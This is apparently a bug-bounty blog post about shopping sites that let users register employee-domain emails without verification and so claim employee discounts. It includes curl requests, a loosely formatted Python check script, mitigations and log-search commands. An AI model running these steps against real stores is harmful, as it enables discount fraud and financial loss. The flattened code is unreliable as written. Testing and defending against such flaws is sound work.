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When hunting for bugs on shopping domains, one overlooked vulnerability is the absence of email confirmation during registration. If the target domain allows registration with an email like `[email protected]` (without verification), attackers may exploit employee-exclusive discounts not meant for regular customers.
How This Vulnerability Works
- Registration Bypass: Some shopping platforms skip email verification, allowing fake employee accounts (
[email protected]). - Discount Abuse: Employee discounts may apply automatically if the system checks only the email domain (
@domain.com) rather than a verified employee list. - Unauthorized Discounts: Attackers can purchase items at reduced prices, leading to financial loss for the company.
You Should Know: Testing & Exploitation Steps
1. Identify Unverified Registration
curl -X POST "https://target.com/register" -d "[email protected]&password=123456"
Check if the account is created without email confirmation.
2. Check Discount Eligibility
curl -X GET "https://target.com/cart" -H "Cookie: session=valid_session"
Look for automatic discounts applied to `@domain.com` emails.
3. Automate Testing with Python
import requests
def test_discount_abuse(domain):
session = requests.Session()
Register without verification
reg_data = {"email": f"test@{domain}", "password": "P@ssw0rd"}
session.post(f"https://{domain}/register", data=reg_data)
Check cart for discounts
cart = session.get(f"https://{domain}/cart")
if "employee_discount" in cart.text:
print(f"[!] Discount abuse possible on {domain}")
4. Mitigation (For Developers)
- Enforce email verification before account activation.
- Restrict discounts to pre-approved employee emails.
- Implement rate-limiting on registration attempts.
What Undercode Say
This vulnerability stems from weak access controls and poor email validation. Similar flaws exist in:
– Coupon Code Systems (brute-forcing discounts)
– Referral Programs (fake referrals via unverified emails)
– API Misconfigurations (discounts applied via API without auth checks)
Linux Command for Log Analysis (Detect Attacks)
grep "POST /register" /var/log/nginx/access.log | grep "domain.com"
Windows Command (Check Suspicious Accounts)
Get-EventLog -LogName Security | Where-Object {$_.Message -like "[email protected]"}
Expected Output:
A detailed report on discount abuse attempts and preventive measures for security teams.
Prediction:
As e-commerce grows, unverified registration flaws will lead to more discount exploitation attacks, pushing companies to adopt stricter email validation and multi-factor authentication (MFA).
References:
Reported By: Mahmoud Abo – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
